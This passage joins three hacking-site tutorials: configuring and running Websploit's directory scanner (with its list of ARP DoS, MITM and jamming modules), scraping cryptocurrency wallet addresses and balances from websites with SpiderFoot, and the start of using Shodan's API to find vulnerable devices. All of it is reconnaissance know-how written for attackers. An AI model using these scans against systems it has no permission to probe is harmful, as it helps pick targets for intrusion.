(3.0.0-2) ... Processing triggers for man-db (2.8.5-2) ...Now, we should be able to run the tool. Simply typewebsploitin the terminal to launch the framework. Websploit is reminiscent ofMetasploitbecause it uses modules, the commands are similar, and it even has a welcome banner. If you're proficient with Metasploit, you should feel right at home here. Once it is loaded, we should see the "wsf >" prompt.websploit. __ __ __ ___ __ /\ \ __/\ \ /\ \ /\_ \ __/\ \__ \ \ \/\ \ \ \ __\ \ \____ ____ _____\//\ \ ___ /\_\ \ ,_\ \ \ \ \ \ \ \ /'__`\ \ '__`\ /',__\/\ '__`\\ \ \ / __`\/\ \ \ \/ \ \ \_/ \_\ \/\ __/\ \ \L\ \/\__, `\ \ \L\ \\_\ \_/\ \L\ \ \ \ \ \_ \ `\___x___/\ \____\\ \_,__/\/\____/\ \ ,__//\____\ \____/\ \_\ \__\ '\/__//__/ \/____/ \/___/ \/___/ \ \ \/ \/____/\/___/ \/_/\/__/ \ \_\ \/_/ --=[WebSploit Advanced MITM Framework +---**---==[Version :3.0.0 +---**---==[Codename :Katana +---**---==[Available Modules : 20 --=[Update Date : [r3.0.0-000 20.9.2014] wsf >To display the help menu, typehelpat the interactive prompt. This will give us a list of the core commands.helpCommands Description --------------- ---------------- set Set Value Of Options To Modules scan Scan Wifi (Wireless Modules) stop Stop Attack & Scan (Wireless Modules) run Execute Module use Select Module For Use os Run Linux Commands(ex : os ifconfig) back Exit Current Module show modules Show Modules of Current Database show options Show Current Options Of Selected Module upgrade Get New Version update Update Websploit Framework about About USA helpful feature of this tool is the ability to execute operating system commands within the framework instead of having to open up a separate terminal. To do this, typeosfollowed by the command you wish to run, for example,whoami(to see the user name of the current login session) orip address(to see IP address information being used by the system).os whoamiroot wsf > os ip address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether e8:11:32:1d:7a:7b brd ff:ff:ff:ff:ff:ff inet 172.16.1.100/12 brd 172.31.255.255 scope global dynamic noprefixroute eth0 valid_lft 6557sec preferred_lft 6557sec inet6 fe80::ea11:32ff:fe1d:7a7b/64 scope link noprefixroute valid_lft forever preferred_lft foreverWebsploit's core functionality comes from the modules it contains. Typeshow modulesto display a listing of the modules and their descriptions.show modulesWeb Modules Description ------------------- --------------------- web/apache_users Scan Directory Of Apache Users web/dir_scanner Directory Scanner web/wmap Information Gathering From Victim Web Using (Metasploit Wmap) web/pma PHPMyAdmin Login Page Scanner web/cloudflare_resolver CloudFlare Resolver Network Modules Description ------------------- --------------------- network/arp_dos ARP Cache Denial Of Service Attack network/mfod Middle Finger Of Doom Attack network/mitm Man In The Middle Attack network/mlitm Man Left In The Middle Attack network/webkiller TCP Kill Attack network/fakeupdate Fake Update Attack Using DNS Spoof network/arp_poisoner Arp Poisoner Exploit Modules Description ------------------- --------------------- exploit/autopwn Metasploit Autopwn Service exploit/browser_autopwn Metasploit Browser Autopwn Service exploit/java_applet Java Applet Attack (Using HTML) Wireless/Bluetooth Modules Description ------------------- --------------------- wifi/wifi_jammer Wifi Jammer wifi/wifi_dos Wifi Dos Attack wifi/wifi_honeypot Wireless Honeypot(Fake AP) wifi/mass_deauth Mass Deauthentication Attack bluetooth/bluetooth_pod Bluetooth Ping Of Death AttackWebsploit has four main categories of modules: web,network, exploit, and wireless/Bluetooth. Today, we will be using the directory scanner, which is one of the web modules. Before we get to that, though, we need to configure a few things.Step 2: Tweak the ScriptThe default directory scanner script is nice because it contains a huge list of possible directory names. The problem with this is when running the script, any directory names that are not found (ones that don't return a 200 HTTP response code) are spit out on the screen. Given the large list of possible directories involved here, it is pretty much useless to try and wade through all those results.Instead, we will make a few tweaks to the script to make it return only directories that it does find, making it much easier to work with. Navigate to/usr/share/websploit/modulesand open the file nameddirectory_scanner.pywith your favorite text editor. Scroll all the way to the bottom and locate the block of code that looks like this:'nt4stopc',] try: for path in paths: path = path.replace("\n", "") conn = httplib.HTTPConnection(options[0]) conn.request("GET", path) res = conn.getresponse() if(res.status==200): print(wcolors.color.BOLD + wcolors.color.GREEN + "[%s] ... [%s %s]" % (path, res.status, res.reason) + wcolors.color.ENDC) else: print(wcolors.color.YELLOW + "[%s] ... [%s %s]" % (path, res.status, res.reason) + wcolors.color.ENDC) except(KeyboardInterrupt, SystemExit): print(wcolors.color.RED + "[*] (Ctrl + C ) Detected, System Exit" + wcolors.color.ENDC) else: print "Wrong Command => ", com except(KeyboardInterrupt, SystemExit): print(wcolors.color.RED + "[*] (Ctrl + C ) Detected, System Exit" + wcolors.color.ENDC)The first thing we can do is simply comment out theprintstatement under theelseclause. We can also add acontinuehere just for good measure. This will make the script ignore any responses that are not status code 200 and continue through the rest of the script. In other words, unless there is a match to a directory, it will not be displayed in the terminal.The next thing we need to do is add a forward slash in front of the directory names in the list. I found that this script would not work correctly unless this was done since they were not valid directories unless they had the slash. Of course, we don't want to go through and do this for every single name in the list, so we can just add the character to theGETrequest in thetrystatement, like so:conn.request("GET", "/" + path)After these changes, the script should look like this:'nt4stopc',] try: for path in paths: path = path.replace("\n", "") conn = httplib.HTTPConnection(options[0]) conn.request("GET", "/" + path) res = conn.getresponse() if(res.status==200): print(wcolors.color.BOLD + wcolors.color.GREEN + "[%s] ... [%s %s]" % (path, res.status, res.reason) + wcolors.color.ENDC) else: continue #print(wcolors.color.YELLOW + "[%s] ... [%s %s]" % (path, res.status, res.reason) + wcolors.color.ENDC) except(KeyboardInterrupt, SystemExit): print(wcolors.color.RED + "[*] (Ctrl + C ) Detected, System Exit" + wcolors.color.ENDC) else: print "Wrong Command => ", com except(KeyboardInterrupt, SystemExit): print(wcolors.color.RED + "[*] (Ctrl + C ) Detected, System Exit" + wcolors.color.ENDC)Save the file. Now, we should have a fully functioning script, and we are ready to run the tool.Step 3: Scan for DirectoriesBack in the Websploit framework, we can load the directory scanner module with theusecommand.use web/dir_scannerNext, we need to determine the settings for this module. Typeshow optionsat the "wsf:Dir_Scanner" prompt to display the current options.show optionsOptions Value --------- -------------- TARGET http://google.comWe want to scan our target, notGoogle, so specify the appropriate IP address of the target with thesetcommand.set target 172.16.1.102TARGET => 172.16.1.102We should be good to go now. Typerunat the prompt to launch the scanner.run[*] Your Target : 172.16.1.102 [*]Loading Path List ... Please Wait ... [index] ... [200 OK] [] ... [200 OK] [payload] ... [200 OK] [phpinfo] ... [200 OK]Given the huge list of potential directories included in the script, this can take quite a while to complete. Feel free to pare down the list or add your own custom directory names in there.We can see that Websploit discovered a few potentially interesting directories on our target. Thephpinfoone might be especially useful, since it may contain valuable information relating toPHP configurationand settings for the site.Wrapping UpWebsites can often be a treasure trove of information when they aren't configured correctly, leaving hackers with more ammo for a successful attack. In this tutorial, we learned how to modify a script included in the Websploit framework in order to scan the target for hidden directories. Sometimes it pays off to be patient and leave no stone unturned β€” who knows what is waiting to be found.Don't Miss:How to Leverage a Directory Traversal Vulnerability into Code ExecutionFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTheDigitalArtist/PixabayRelatedHow To:Find Hidden Web Directories with DirsearchHow To:Scan Websites for Interesting Directories & Files with GobusterHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Hack Like a Pro:How to Find Directories in Websites Using DirBusterHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Anti-Virus in Kali LinuxAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Discover & Attack Services on Web Apps or Networks with SpartaHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanSnapchat 101:How to Unlock Hidden Filters & LensesHow To:Conduct Recon on a Web Target with Python ToolsHow To:Bind Dendroid Apk with Another ApkHow To:Auto-Fill Credit Card Forms Using Your iPhone's Camera in iOS 8How To:Scan for Vulnerabilities on Any Website Using NiktoHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItCommunity Contest:Code the Best Hacking Tool, Win Bragging RightsHow To:Scan for Viruses in Windows Using a Linux Live CD/USBNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesCongress:The Law MakersHow To:Start With Site Setting For Snoft Article Directory ScriptNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersSecure Your Computer, Part 4:Use Encryption to Make a Hidden Operating SystemNews:First Steps of Compiling a Program in LinuxNews:Blog search directoryHow To:Make Your Laptop Theft ProofHow To:Your Galaxy Has a Hidden Document Scanner Built in β€” Here's How It WorksGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker Training
How to Extract Bitcoin Wallet Addresses & Balances from Websites with SpiderFoot CLI Β« Null Byte :: WonderHowTo
While there are completely legitimate reasons to use Bitcoin, it's also used by terrorists, drug dealers, and other shady people that need to be investigated. That's where SpiderFoot comes in, which has a command-line interface to search for Bitcoin wallet addresses on a website and query the balances associated with them.SpiderFoot isa great tool overall for automating OSINT(open-source intelligence), and there are two different versions: the free open-source project and SpiderFoot HX, a paid service that costs almost $800 a year. For our use, the free version is adequate for investigating Bitcoin wallets and balances, and we won't have to run a web server to do it, which is necessary if using SpiderFoot outside of the CLI.Don't Miss:This 10-Course Blockchain & Ethereum Training Is Just $29Let's say an organization is raising funds using Bitcoin. Whether it's a legitimate or illegitimate organization that's asking for donations, you can monitor its performance by first locating any Bitcoin wallet addresses associated with the organization's domain by scraping the website. We can then pass that data into a query to find out the exact balance in each public-facing wallet.RequirementsTo use SpiderFoot's CLI, you'll need to havePython 3installed, which comes preinstalled on newer Linux, macOS, and Windows systems. If it's not, or you have an older version of Python, Python 3 is easy enough todownload and install.Step 1: Install SpiderFootWe're not going to go toSpiderFoot's websiteto get the tool. Instead, we'll get it fromits GitHub repository. There are many good uses for SpiderFoot beyond what we're doing here today, so make sure to check out its GitHub to see everything else that it can do. It also has a list of modules that SpiderFoot can use, which can be combined and chained together to perform very specific search queries.We'll be using two modules later on: one to search the website for the Bitcoin addresses, and the other to pass those addresses on to the balance query. But first, to download SpiderFoot via git, issue the following clone command in a terminal.~$ git clone https://github.com/smicallef/spiderfoot.git Cloning into 'spiderfoot'... remote: Enumerating objects: 43, done. remote: Counting objects: 100% (43/43), done. remote: Compressing objects: 100% (36/36), done. remote: Total 20781 (delta 17), reused 18 (delta 7), pack-reused 20738 Receiving objects: 100% (20781/20781), 13.89 MiB | 9.34 MiB/s, done. Resolving deltas: 100% (16727/16727), done.Then, change into its directory and perform a listing (ls).~$ cd spiderfoot ~/spiderfoot$ ls dicts modules sfcli.py static Dockerfile passwd sflib.py test dyn README.md sf.py THANKYOU generate-certificate requirements_test.txt sfscan.py VERSION LICENSE requirements.txt sfwebui.py log setup.cfg spiderfootYou can see a requirements.txt file, so make sure to install that with pip3 before continuing. If you don't, chances are that SpiderFoot will fail because it doesn't have all the dependencies it needs to function correctly.~/spiderfoot$ pip3 install -r requirements.txt Defaulting to user installation because normal site-packages is not writeable Requirement already satisfied: adblockparser>=0.7 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (0.7) Requirement already satisfied: dnspython>=1.16.0 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (2.0.0) Requirement already satisfied: exifread>=2.1.2 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 3)) (2.3.2) Requirement already satisfied: CherryPy>=18.0 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 4)) (18.6.0) Requirement already satisfied: cherrypy-cors>=1.6 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 5)) (1.6) Requirement already satisfied: Mako>=1.0.4 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 6)) (1.1.3) Requirement already satisfied: beautifulsoup4>=4.4.1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 7)) (4.9.3) Requirement already satisfied: lxml>=4.6.1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 8)) (4.6.1) Requirement already satisfied: netaddr>=0.7.18 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 9)) (0.7.19) Requirement already satisfied: pysocks>=1.7.1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 10)) (1.7.1) Requirement already satisfied: requests>=2.20.0 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 11)) (2.24.0) Requirement already satisfied: ipwhois==1.0.0 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 12)) (1.0.0) Requirement already satisfied: ipaddr>=2.2.0 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 13)) (2.2.0) Requirement already satisfied: phonenumbers>=8.12.9 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 14)) (8.12.13) Requirement already satisfied: pygexf>=0.2.2 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 15)) (0.2.2) Requirement already satisfied: PyPDF2>=1.26.0 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 16)) (1.26.0) Requirement already satisfied: stem>=1.7.1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 17)) (1.8.0) Requirement already satisfied: python-whois>=0.7.1 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 18)) (0.7.3) Requirement already satisfied: secure>=0.2.1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 19)) (0.2.1) Requirement already satisfied: pyOpenSSL>=17.5.0 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 20)) (19.1.0) Requirement already satisfied: python-docx>=0.8.10 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 21)) (0.8.10) Requirement already satisfied: python-pptx>=0.6.18 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 22)) (0.6.18) Requirement already satisfied: networkx>=2.5 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 23)) (2.5) Requirement already satisfied: cryptography>=3.2.1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 24)) (3.2.1) Requirement already satisfied: publicsuffixlist>=0.7.3 in /home/kali/.local/lib/python3.8/site-packages (from -r requirements.txt (line 25)) (0.7.5) Requirement already satisfied: portend>=2.1.1 in /home/kali/.local/lib/python3.8/site-packages (from CherryPy>=18.0->-r requirements.txt (line 4)) (2.7.0) Requirement already satisfied: more-itertools in /usr/lib/python3/dist-packages (from CherryPy>=18.0->-r requirements.txt (line 4)) (4.2.0) Requirement already satisfied: zc.lockfile in /home/kali/.local/lib/python3.8/site-packages (from CherryPy>=18.0->-r requirements.txt (line 4)) (2.0) Requirement already satisfied: cheroot>=8.2.1 in /home/kali/.local/lib/python3.8/site-packages (from CherryPy>=18.0->-r requirements.txt (line 4)) (8.4.7) Requirement already satisfied: jaraco.collections in /home/kali/.local/lib/python3.8/site-packages (from CherryPy>=18.0->-r requirements.txt (line 4)) (3.0.0) Requirement already satisfied: httpagentparser>=1.5 in /home/kali/.local/lib/python3.8/site-packages (from cherrypy-cors>=1.6->-r requirements.txt (line 5)) (1.9.0) Requirement already satisfied: soupsieve>1.2 in /usr/lib/python3/dist-packages (from beautifulsoup4>=4.4.1->-r requirements.txt (line 7)) (2.0.1) Requirement already satisfied: future in /usr/lib/python3/dist-packages (from python-whois>=0.7.1->-r requirements.txt (line 18)) (0.18.2) Requirement already satisfied: tempora>=1.8 in /home/kali/.local/lib/python3.8/site-packages (from portend>=2.1.1->CherryPy>=18.0->-r requirements.txt (line 4)) (4.0.1) Requirement already satisfied: setuptools in /usr/lib/python3/dist-packages (from zc.lockfile->CherryPy>=18.0->-r requirements.txt (line 4)) (50.3.0) Requirement already satisfied: jaraco.functools in /home/kali/.local/lib/python3.8/site-packages (from cheroot>=8.2.1->CherryPy>=18.0->-r requirements.txt (line 4)) (3.0.1) Requirement already satisfied: six>=1.11.0 in /usr/lib/python3/dist-packages (from cheroot>=8.2.1->CherryPy>=18.0->-r requirements.txt (line 4)) (1.15.0) Requirement already satisfied: jaraco.text in /home/kali/.local/lib/python3.8/site-packages (from jaraco.collections->CherryPy>=18.0->-r requirements.txt (line 4)) (3.2.0) Requirement already satisfied: jaraco.classes in /home/kali/.local/lib/python3.8/site-packages (from jaraco.collections->CherryPy>=18.0->-r requirements.txt (line 4)) (3.1.0) Requirement already satisfied: pytz in /usr/lib/python3/dist-packages (from tempora>=1.8->portend>=2.1.1->CherryPy>=18.0->-r requirements.txt (line 4)) (2020.4)If you're having issues installing it via the command above, try usingapt updatefirst, then try again. If you still have issues, run the command withsudoin front of it.Step 2: Make Sure SpiderFoot Is WorkingNow that SpiderFoot is all ready to go, it's time to start using it with a command-line argument to pass the information we'd like to have returned. From the listing performed above, you'll see the sf.py file, and that's the main program we'll be using here. Let's try running it to see if it's working:~/spiderfoot$ python3 ./sf.py You must specify a target when running in scan mode. Try --help for guidance.If you see something else, or if you run into errors now or in a later step, go back and reinstall the requirements.txt withpip3. If that doesn't work, install it withsudo, which should fix any missing modules.Now, let's quickly review the help page to see the usage instructions.~/spiderfoot$ python3 ./sfcli.py --help usage: sf.py [-h] [-d] [-l IP:port] [-m mod1,mod2,...] [-M] [-s TARGET] [-t type1,type2,...] [-T] [-o tab|csv|json] [-n] [-r] [-S LENGTH] [-D DELIMITER] [-f] [-F FILTER] [-x] [-q] SpiderFoot 3.0: Open Source Intelligence Automation. optional arguments: -h, --help show this help message and exit -d, --debug Enable debug output. -l IP:port IP and port to listen on. -m mod1,mod2,... Modules to enable. -M, --modules List available modules. -s TARGET Target for the scan. -t type1,type2,... Event types to collect. -T, --types List available event types. -o tab|csv|json Output format. Tab is default. -n Strip newlines from data. -r Include the source data field in tab/csv output. -S LENGTH Maximum data length to display. By default, all data is shown. -D DELIMITER Delimiter to use for CSV output. Default is ,. -f Filter out other event types that weren't requested with -t. -F FILTER Filter out a set of event types. -x STRICT MODE. Will only enable modules that can directly consume your target, and if -t was specified only those events will be consumed by modules. This overrides -t and -m options. -q Disable logging.Step 3: Scan for Bitcoin Addresses & BalancesNow, let's look at a Bitcoin address and wallet balance that we scrap from a website. We're going to have to chain a couple of things together to do it. And this is where the modules come into play.~/spiderfoot$ python3 ./sf.py -m sfp_spider,sfp_bitcoin,sfp_blockchain -s websiteurl.com -F -q BITCOIN_ADDRESS,BITCOIN_BALANCE -qAbove, you can see the command we're using to do what we need. The first part of the command is starting the SpiderFoot tool with Python 3. The-mindicates that you're using a module or modules, and right after it, that's where the modules go, separated by commas.Thesfp_spider modulewill spider the website's webpages we're scanning to find all of the information inside. Thesfp_bitcoinmodule will isolate all of the Bitcoin wallet addresses that it finds via the spidering. And thesfp_blockchainmodule will take the Bitcoin address or addresses and pass it or them along to an API that will determine the exact amount stored in the wallet.Next in the command, we have-s, followed by the website URL, which will let us pick the target website. Then, we have-Fto filter out a set of event types, specifically,BITCOIN_ADDRESSandBITCOIN_BALANCE. That's the information we want to find. Finally,-qis used to hide everything in the output except only the stuff we want.Now, let's run it against a real website, using bitcoinforcharity.com as an example.~/spiderfoot$ python3 ./sf.py -m sfp_spider,sfp_bitcoin,sfp_blockchain -s bitcoinforcharity.com -F BITCOIN_ADDRESS,BITCOIN_BALANCE -q Source Type Data sfp_bitcoin Bitcoin Address 1HesYJSP1QqcyPEjnQ9vzBL1wujruNGe7R sfp_blockchain Bitcoin Balance 0.00021 BTC sfp_bitcoin Bitcoin Address 16Sy8mvjyNgCRYS14m1Rtca3UfrFPzz9eJ sfp_blockchain Bitcoin Balance 0.24481116 BTC sfp_bitcoin Bitcoin Address 1M72Sfpbz1BPpXFHz9m3CdqATR44Jvaydd sfp_blockchain Bitcoin Balance 1.62908644 BTC sfp_bitcoin Bitcoin Address 1946W6LDsEYF9B5sPYDKfwLw6YBZuHns4L sfp_blockchain Bitcoin Balance 0.02344126 BTC sfp_bitcoin Bitcoin Address 1PC9aZC4hNX2rmmrt7uHTfYAS3hRbph4UN sfp_blockchain Bitcoin Balance 1.89378293 BTC sfp_bitcoin Bitcoin Address 1PAt5oKQGBRigFDY6fB2WgQTtQJNzFyTDr sfp_blockchain Bitcoin Balance 0.0 BTC sfp_bitcoin Bitcoin Address 1NgiUwkhYVYMy3eoMC9dHcvdHejGxcuaWm sfp_blockchain Bitcoin Balance 0.06070947 BTC sfp_bitcoin Bitcoin Address 1M87hiTAa49enJKVeT9gzLjYmJoYh9V98 sfp_blockchain Bitcoin Balance 0.0 BTC sfp_bitcoin Bitcoin Address 1CU5YgjquupDw6UeXEyA9VEBH34R7fZ19b sfp_blockchain Bitcoin Balance 0.16549195 BTC sfp_bitcoin Bitcoin Address 16DEzKc9fX4XfgGzEvQUJmoYeUrbRNXqxe sfp_blockchain Bitcoin Balance 0.18967667 BTC sfp_bitcoin Bitcoin Address 1AS3TiTqgJZK6CfNfqcbPXSx4PTFvfghvF sfp_blockchain Bitcoin Balance 0.0 BTC sfp_bitcoin Bitcoin Address 1Archive1n2C579dMsAu3iC6tWzuQJz8dN sfp_blockchain Bitcoin Balance 3.17865301 BTCFrom the listed output above, we can see that the charity has more than a few publicly listed Bitcoin addresses leading back to wallets where we see the exact bitcoin amount. The charity above isn't really raising any real bitcoin, with 3.17865301 BTC being the wallet with the most. That's not particularly interesting if we were looking for a site moving lots of money through cryptocurrencies.Step 4: Scan for Ethereum AddressesFor Ethereum, you could use a different command structure to get all of the wallet addresses found on a website, but you won't be able to get any balances as you could with Bitcoin. To demonstrate quickly, we'll scan etherdonation.com.~/spiderfoot$ python3 ./sf.py -m sfp_spider,sfp_ethereum -s etherdonation.com -F ETHEREUM_ADDRESS -q Source Type Data sfp_ethereum Ethereum Address 0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b sfp_ethereum Ethereum Address 0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b sfp_ethereum Ethereum Address 0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b sfp_ethereum Ethereum Address 0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b sfp_ethereum Ethereum Address 0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b sfp_ethereum Ethereum Address 0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1bAll we did there was usesfp_spider, the spidering module, andsfp_ethereum, the Ethereum finding module. And we removed the filter for the balance since we can't find Ethereum balances.Simple but PowerfulIf you want to see some of the organizations with the largest bitcoin transactions, then you can google something like "top 100 bitcoin addresses" and pick a result that monitors the top ones. Then, you can use that site's URL in the command to see which Bitcoin addresses are moving the most BTC.Don't Miss:How to Inject Coinhive Miners into Public Wi-Fi HotspotsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Retia/Null ByteRelatedCoinbase 101:How to Send & Receive Bitcoins & Other CryptocurrenciesHow To:Inside Bitcoin - Part 1 - Bitcoin and AnonymityBinance 101:How to Deposit & Withdraw Bitcoins & Other CryptocurrenciesHow To:Import Private Keys to Bitcoin Wallet (Windows)How To:The Best Bitcoin Wallet Apps for Your Android DeviceNews:Bitcoin Cash Is Now Available on CoinbaseHow To:Transfer Bitcoin, Ether & More from Coinbase to BinanceCoinbase 101:Fees & Fine Print You Need to Know Before Trading Bitcoins & Other CryptocurrenciesCoinbase 101:How to Buy & Sell Bitcoin, Bitcoin Cash, Ethereum & LitecoinHow To:Transform Gift Card Balances into Cash from Any ATM with Google WalletHow To:Access the Dark Web While Staying Anonymous with TorCryptocurrency for the Hacker:Part 2 (Currency for Hackers)How To:Use SpiderFoot for OSINT GatheringCryptocurrency for the Hacker:Part 3 (Why It May Be a Bad Idea for You)How To:Stop Panic Selling & Impulse Buys by Hoarding Your Cryptocurrency in Coinbase's VaultsNews:Curve's Newest Feature Lets You Go Back in TimeHow To:Buy Bitcoin Anonymously β€” A Guide to Investing in Cryptocurrency While Maintaining PrivacyHow To:No Smartphone Stand? Just Use Your WalletHow To:Change Your Billing & Shipping Address for Apple Pay on Your iPhoneCoinbase 101:How to Add a PayPal Account to Get Your Cash FasterHow To:Access Bitcoin Gambling Sites from Your Phone β€” Even if They Ban Your CountryHow To:This Linux-Style Launcher Turns Your Home Screen into a Command PromptNews:Inside Bitcoin - Part 2 - Cryptographic HashesHow To:Cryptocurrency for the Hackers : Part 1 (Introduction)How To:Upload, Buy, Send, Receive, & Redeem Almost Any Gift Card on Your PhoneHow To:Use BlackBerry Wallet to store personal informationHow To:8 Useful Ways to Take Advantage of Your Android Phone's NFC ChipHow To:Why You Should Open the Wallet App Before You Tap & Pay with Your iPhoneCoinbase 101:How to Enable Price Alerts to Buy or Sell at the Perfect TimeNews:Now You Can Track the Bitcoin Mania Bubble in Augmented RealityApple Pay Cash 101:How to Add Money to Your Card BalanceHow To:Change Your Default Card for Apple Pay So You Never Have to Choose During CheckoutHow To:Send & Receive Apple Pay Cash via Messages on Your iPhoneHow To:Mine Bitcoin and Make MoneyEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:Duct tape walletsHow To:Make a Change-of-IP Notifier in PythonNews:Assassin's Creed New Gameplay TrailerNews:Color Your LifeHacker Fundamentals:A Gentle Introduction to How IP Addresses Work
The Hacks of Mr. Robot: How to Use the Shodan API with Python to Automate Scans for Vulnerable Devices Β« Null Byte :: WonderHowTo
Shodancalls itself "the search engine for internet-connected devices." With so many devices connected to the internet featuring varying levels of security, the special capabilities of this search engine mean it can provide a list of devices to test and attack. In this tutorial, we'll use Python to target specific software vulnerabilities and extract vulnerable target IP addresses from Shodan.Any device connected to the internet must reveal some sort of information regarding itself. This can be relatively limited, as clever system configurations can block most undesired requests. On some devices, one might be able to scan ports to reveal things such as the services running on a web server or the name of a webcam connected to a wireless network.In "eps3.0_power-saver-mode.h," the first episode of the third season ofMr. Robotseries, the titular character, played by Christian Slater, uses the Shodan search engine in order to gather information about his corporate advisory, Evil Corp. Tyrell (Martin WallstrΓΆm) and Angela (Portia Doubleday) are at his side, watching in disbelief, as Mr. Robot, the shadow personality of Elliot (Rami Malek), does an "Apache Tomcat" search.Image by Mr. Robot/USA NetworksA search like the one used in the show can reveal essential information about a potential target. Using this same technique, we'll look at exactly what can be found using Shodan's search function and how it can be used to execute a hack.Step 1: Using ShodanShodan can be accessed like most other search engines, by navigating toshodan.ioin a web browser.Rather than using traditional search terms to search the content of a publicly indexed website, when searching Shodan, we'll generally look for the information found in device headers or other information besides the device's HTTP web content, which is indexed by traditional search engines.InMr. Robot, the titular character searches the string below.org:"Evil Corp" product:"Apache Tomcat"While we could search this same search command, the fictional company Evil Corp. most likely will not return any results (or will it?!). The second component of the string, the "product" filter, is still a functional and useful search. This search string does require usage of filters, an option only available to registered users. A Shodan account can be registered by clicking on the "Login/Register" button at the top right of the homepage or by visitingaccount.shodan.io/registerdirectly.After a Shodan account is registered, a number of additional search capabilities will become available in the form of filters. Some of these filters are shown in the list below.country: filter to a specific countrycity: filter to a specific citygeo: filter by coordinateshostname: look for a matching hostnamenet: limit to an IP/prefixos: filter based on operating systemport: filter based on open portsThese filters can be applied using the same format as in the example used inMr. Robot, where the filter is included in the search followed by a colon and the search term. The format shown below can be used for any of the filters available within Shodan.filter:"Keyword"In this example, "filter" would be the name of the filter used, and "Keyword" would be the search term which is sought within the filter's category. Multiple filters can be applied, so long as they are separated by spaces.Don't Miss:How to Find Vulnerable Targets Using Shodan β€” The World's Most Dangerous Search EngineThe "Apache Tomcat" search, as shown in the show, will indeed return legitimate results when used on Shodan. We can test this by searching the string shown below.product:"Apache Tomcat"After searching, we can see that over 1.4 million results are returned. This search provides some interesting data regarding the locations and organizations which are using Apache Tomcat, but to a hacker, these results can have a different sort of utility.An attacker might specifically search for servers or web-connected devices using out-of-date software with known vulnerabilities in order to find devices to exploit. This process could be completed manually by copying results from a Shodan search in a web browser and choosing addresses to attack manually. However, the process can also be automated by using scripting languages and Shodan's API, which is somethingMr. Robotdid not show.Step 2: Retrieving a Shodan API KeyIn order to use Shodan's API to directly request and receive data while bypassing the web interface, we'll need to use our API key. This API key can be retrieved by navigating to the "My Account" section of the Shodan website, linked at the upper right of the homepage or simply by openingaccount.shodan.io.This key will be inserted into the Python code used to make API calls, so it may be useful to copy it to your clipboard or save it to a file.Step 3: Calling the Shodan API with PythonIn order to use Python to make requests using the Shodan API, we'll need to have a functional Python environment as well as the Shodan Python module installed. In the examples used in this tutorial, Python 2.7 